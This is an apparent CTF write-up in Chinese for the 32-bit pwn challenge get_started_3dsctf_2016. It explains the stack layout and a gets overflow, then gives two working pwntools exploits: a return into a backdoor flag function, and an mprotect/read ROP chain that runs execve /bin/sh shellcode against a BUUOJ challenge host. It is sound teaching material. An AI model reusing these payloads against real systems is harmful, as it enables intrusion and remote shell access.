检查
发现没什么保护
然后进入IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF
printf("Qual a palavrinha magica? ", v4[0]); // 080489A0
gets(v4);
return 0;
}
比较值得注意的地方
这个elf的函数的栈机制有点不同
基本不使用ebp,比如start函数
.text:0804884F
.text:0804884F
.text:0804884F ; Attributes: noreturn fuzzy-sp
.text:0804884F
.text:0804884F public _start
.text:0804884F _start proc near
.text:0804884F xor ebp, ebp
.text:08048851 pop esi
.text:08048852 mov ecx, esp
.text:08048854 and esp, 0FFFFFFF0h
.text:08048857 push eax
.text:08048858 push esp ; stack_end
.text:08048859 push edx ; rtld_fini
.text:0804885A push offset __libc_csu_fini ; fini
.text:0804885F push offset __libc_csu_init ; init
.text:08048864 push ecx ; ubp_av
.text:08048865 push esi ; argc
.text:08048866 push offset main ; main
.text:0804886B call __libc_start_main
.text:0804886B _start endp
.text:0804886B
直接把ebp=0搞上
就算我们进入main函数
可以看到,仍然是ebp=0
所以,我们的返回地址不再是[ebp+4],那是多少?
为什么之前返回地址是ebp+4呢?
因为以前
push 参数
call 函数
函数:
push ebp
mov ebp,esp
所以才会有[ebp+4=]返回地址
或者说,在esp没发生变化之前,[esp+4]也是返回地址
但是我们没有了ebp,在esp没发生变化之前
push 参数
call 函数
函数:
我们的[esp]就是返回地址
既然知道了返回地址怎么获取
同时:esp怎么恢复呢? 开辟了多少,释放多少就直接恢复了
那么参数怎么读取,以前是[ebp+8]是第一个参数
现在呢?
比如我们的printf函数,例如有2个参数
.text:0804F0E0 sub esp, 12 ; Alternative name is '_IO_printf'
.text:0804F0E3 lea eax, [esp+20]
.text:0804F0E7 sub esp, 4
.text:0804F0EA push eax
.text:0804F0EB push dword ptr [esp+24]
.text:0804F0EF push stdout
.text:0804F0F5 call vfprintf
.text:0804F0FA add esp, 1Ch
.text:0804F0FD retn
进入call,在esp没发生变化之前
[esp+4],[esp+8]分别是对应的参数
现在sub esp, 12
所以[esp+4+12],[esp+8+12]才是参数
至于参数怎么读取
我们只需要关心直接压入,读取应该是它自己的事情吧
way1
去找函数,发现有一个后门函数
所以我们可以通过main函数溢出到这里来
其中有2个判断a1 == 0x308CD64F && a2 == 0x195719D1
对应的参数直接在栈里面放入即可
比较值得注意的地方, woc,远程函数如果不能正常退出的话,不会回显,什么鬼
void __cdecl get_flag(int a1, int a2)
{
int v2; // esi
unsigned __int8 v3; // al
int v4; // ecx
unsigned __int8 v5; // al
if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
{
v2 = fopen("flag.txt", "rt");
v3 = getc(v2);
if ( v3 != 0xFF )
{
v4 = (char)v3;
do
{
putchar(v4);
v5 = getc(v2);
v4 = (char)v5;
}
while ( v5 != 0xFF );
}
fclose(v2);
}
}
所以exp?
之前[esp]=返回地址
sub esp, 60
所以[esp+60]=返回地址
.text:08048A2F lea eax, [esp+4]
.text:08048A33 mov [esp], eax
.text:08048A36 call gets
写入开始位置是esp+4,距离esp+60有(60-4)=56字节=0x38个字节
所以,我们先填充0x38个数据,然后写入要去往的地址
但是为了我们要保证函数可以正常退出,也就是要exit回去
所以,我们还得写入返回地址,既然涉及写入返回地址
那么我么干的事情就类似于call 后门函数,然后调用exit
call 后门函数
call exit
所以,去往后门函数的时候
压入2个对比数据,然后压入exit的地址,
main函数retn去往后门函数,所以最后
from pwn import*
if 1:
host='node4.buuoj.cn'
port=28775
else:
host='127.0.0.1'
port=12345
#打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出
lp_exit=0x0804e6a0
p=remote(host,port)
payload=b'\0'*0x38+p32(0x080489A0)+p32(lp_exit)+p32(0x308CD64F) +p32(0x195719D1)
p.sendline(payload)
p.recv()
疑惑: 为什么不可以是
sendafter("Qual a palavrinha magica? ",payload)
本地可以,远程就g
way2
这个elf还内置有一个危险的函数
mprotect()
mprotect
函数可以将一段内存设置为不可读、不可写、不可执行等多种保护方式。
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr
参数表示要更改保护方式的内存区域的起始地址
len
参数表示内存区域的长度
prot
参数表示要设置的保护方式,
- PROT_EXEC: 1 可执行。
- PROT_READ: 2 可读。
- PROT_WRITE:4 可写。
- PROT_NONE: 0 不可访问
7 = PROT_EXEC|PROT_READ|PROT_WRITE
所以,我们可以干什么... ?
可以寻找一个内存区域,然后修改该内存的属性为rwx
然后往那块数据写入代码
然后跑去执行那个代码
from pwn import*
if 1:
host='node4.buuoj.cn'
port=28256
else:
host='127.0.0.1'
port=12345
context.os='linux'
context.arch='i386'
context.log_level='debug'
pop3_ret=0x0804f460 # 不同于ret 12 ,ret 12 是先pop ip 然后add esp,12
#这个题目也只能pop3——ret
shellcode_addr=0x08048A20
shellcode_len=0x100
shellcode_arrt=1|2|4
p = remote(host,port)
elf = ELF('./get_started_3dsctf_2016')
payload = b'\0'*0x38 #要填充的字节
payload+=p32(elf.sym['mprotect'])#调用mprotect
payload+=p32(pop3_ret) # 返回地址,去往一个地方, 可以 pop 3下,因为mprotect是一个外平栈
payload+=p32(shellcode_addr) #套要设置的地址 一个不会被访问的地方
payload+=p32(shellcode_len) #要设置的长度
payload+=p32(shellcode_arrt) #要设置的属性 rwx
payload+=p32(elf.sym['read'])#pop3下后,要返回的地方 call mprotect; call read
payload+=p32(pop3_ret)#最后返回到shellcode
payload+=p32(0)#往stdin写
payload+=p32(shellcode_addr)#写到lp_shellcode那里去
payload+=p32(shellcode_len)#最多写入0x30,因为我么只设置了0x30字节
payload+=p32(shellcode_addr)# 再次返回
p.sendline(payload)# call mprotect; call read
payload = asm(shellcraft.sh()) # 输入shellcode , shellcode内容是asm函数主动生成的
p.sendline(payload)
p.interactive()
关于mprotect和read外平衡
mprotect必须外平衡
但是read没必要
因为read执行结束后,直接去往shellcode,对esp没有什么要求
.section .shellcode,"awx"
.global _start
.global __start
.p2align 2
_start:
__start:
.intel_syntax noprefix
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push 11 /* 0xb */
pop eax
int 0x80
然后就是
为什么是pop3_ret
而不是ret 12
pop3_ret 是 add esp,12 然后 pop ip
ret12 是 pop ip, 然后 add esp,12
看一下mprotect
这个函数看不出栈的开辟,有一个push ebx
下面是一个mprotect的调用
.text:0809793C 6A 01 push 1
.text:0809793E 52 push edx
.text:0809793F 53 push ebx
.text:08097940 E8 3B 73 FD FF call mprotect
.text:08097945 83 C4 10 add esp, 10h
一个read的调用
.text:08092F7A 50 push eax
.text:08092F7B 53 push ebx
.text:08092F7C FF 75 E0 push [ebp+var_20]
.text:08092F7F E8 BC B1 FD FF call read
.text:08092F84 83 C4 10 add esp, 10h
如果我们用ret12的话
比如调用mprotect
payload+=p32(elf.sym['mprotect'])#调用mprotect
payload+=p32(ret12) # 返回地址,去往一个地方, 可以 pop 3下,因为mprotect是一个外平栈
payload+=p32(shellcode_addr) #套要设置的地址 一个不会被访问的地方
payload+=p32(shellcode_len) #要设置的长度
payload+=p32(shellcode_arrt) #要设置的属性 rwx
结束后去往ret12
但是ret12要先pop ip 然后add esp,12
payload+=p32(elf.sym['mprotect'])#调用mprotect
payload+=p32(ret12) # 返回地址,去往一个地方, 可以 pop 3下,因为mprotect是一个外平栈
payload+=p32(lp_read)
payload+=p32(shellcode_addr) #套要设置的地址 一个不会被访问的地方
payload+=p32(shellcode_len) #要设置的长度
payload+=p32(shellcode_arrt) #要设置的属性 rwx
但是如果不要jmp的地址填写到栈中的话
就会导致mprotect读取参数失败
所以,我么还是乖乖用pop3_ret
ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
0x080718b5 : ret 0xc